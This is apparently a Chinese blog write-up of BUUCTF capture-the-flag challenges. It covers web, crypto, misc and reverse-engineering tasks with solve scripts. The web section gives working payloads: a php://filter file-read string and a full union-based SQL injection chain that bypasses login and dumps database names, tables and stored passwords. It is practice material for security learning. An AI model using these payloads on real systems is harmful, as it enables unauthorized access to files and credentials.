BUUCTF-伪协议-jadx

第五周 4.1

目录

WEB

[极客大挑战 2019]Secret

[极客大挑战 2019]LoveSQL

Crypto

变异凯撒

Quoted-printable

Misc

基础破解​编辑

文件中的秘密

Reverse

helloword


WEB

[极客大挑战 2019]Secret

打开环境

 没有想法 查看源代码

发现跳转 

我们进入页面查看

 有一个点击按钮 然后我们进行点击

 说结束了 我们就进行抓包

 得到一个新的页面 我们进行访问

进入得到源代码 进行代码审计 发现flag 并且过滤了一些伪协议 

我们使用filter伪协议查看

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

返回数值 然后进行解密

<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{48aa1a90-6ce2-4b9c-8e07-1c71d8361cda}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

得到flag

[极客大挑战 2019]LoveSQL

打开环境

 我们查看什么类型的注入

输入1' 得到反馈 是字符型注入

我们进行查看万能代码

用户名 :1'or 1=1#
密码随便

 

 我们继续提交 发现flag错误 我们重新返回注入 因为得到了admin 正确的用户名 我们就可以尝试进行sql注入

admin' order by 4#

 三个字段

查看回显点

0' union select 1,2,3#

得到回显点 我们在2 3 进行sql注入

爆数据库
0' union select 1,2,database()#
爆表名
0' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()#
爆字段
0' union select 1,2,group_concat(column_name)from information_schema.columns where table_name ='l0ve1ysq1'#
爆出内容
0' union select 1,2,group_concat(id,username,password)from geek.l0ve1ysq1#

 得到flag

Crypto

变异凯撒

凯撒密码 打开ASCII对比

afZ_r9VYfScOeO_UL^RWUc
=flag{}

a = 97  f=102   差5
f=102 l=108     差6
发现差 5+n个

编写脚本

a = 'afZ_r9VYfScOeO_UL^RWUc'
flag = ''
p = 0
for i in a:
    flag+=chr(ord(i)+5+p)
    p+=1
print(flag)

得到flag

flag{Caesar_variation}

Quoted-printable

新品种 我们进行搜索

得到在线解码

 我们查看这种编码原理

CTF-MISC总结

8   bit   的字符用两个16进制数值表示,然后在前面加“=”。

Misc

基础破解

告诉我们四个数字

暴力破解

ZmxhZ3s3MDM1NDMwMGE1MTAwYmE3ODA2ODgwNTY2MWI5M2E1Y30=

base64解码

文件中的秘密

下载文件到属性中

得到flag

Reverse

helloword

下载文件 是apk 安卓文件 放入jadx中

搜索flag{

得到

reverse3

下载文件查壳 没有加壳 然后放入ida32

SHIDT+F12

过滤字符串

发现有关flag的 我们进行

CTRL+X

查看使用

 

 我们看到关键的right flag的地方

 if ( !strncmp(Dest, Str2, v2) )
    sub_41132F("rigth flag!\n");

判断dest和str2是不是一样的 如果一样输出right flag 
就是用户输入flag 经过转换后 如果和str2一样
那么就是正确的flag

我们找Dest的内容

strncpy(Dest, v1, 0x28u);
  v8 = j_strlen(Dest);
  for ( j = 0; j < v8; ++j )
    Dest[j] += j;


将v1 copy给dest
循环 v8次然后将  dest[j]=dest[j]+j


就是
dest[0]=dest[0]+0
dest[1]=dest[1]+1

所以我们的flag
flag+=dest[j]-j

我们查看str2的内容 双击str2

得到比对的字符串

我们得到这些可以开始写exp了

但是前面还有语句

 v1 = (const char *)sub_4110BE((int)&Str, v0, (int)&v11);

对v1的判断 因为是把v1赋值给dest的 所以我们要看这是什么函数

我们双击进入sub_4110BE 看看做了什么

好长 我们继续看看函数是什么

 双击进这个

 发现就是base64编码 那我们就可以猜测这就是将FLAG进行base64

1.用户输入 flag

2.flag base64 加密

3.加密后 数组每一个都加1 
即 dest[j]+=j

4.进行比对 成功就输出right flag

我们进行写 exp

import base64


a = "e3nifIH9b_C@n@dH"
flag = ""
for i  in range(len(a)):
    flag+= chr(ord(a[i])-i)
# print(flag)
print(base64.b64decode(flag))

得到flag

b'{i_l0ve_you}'

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值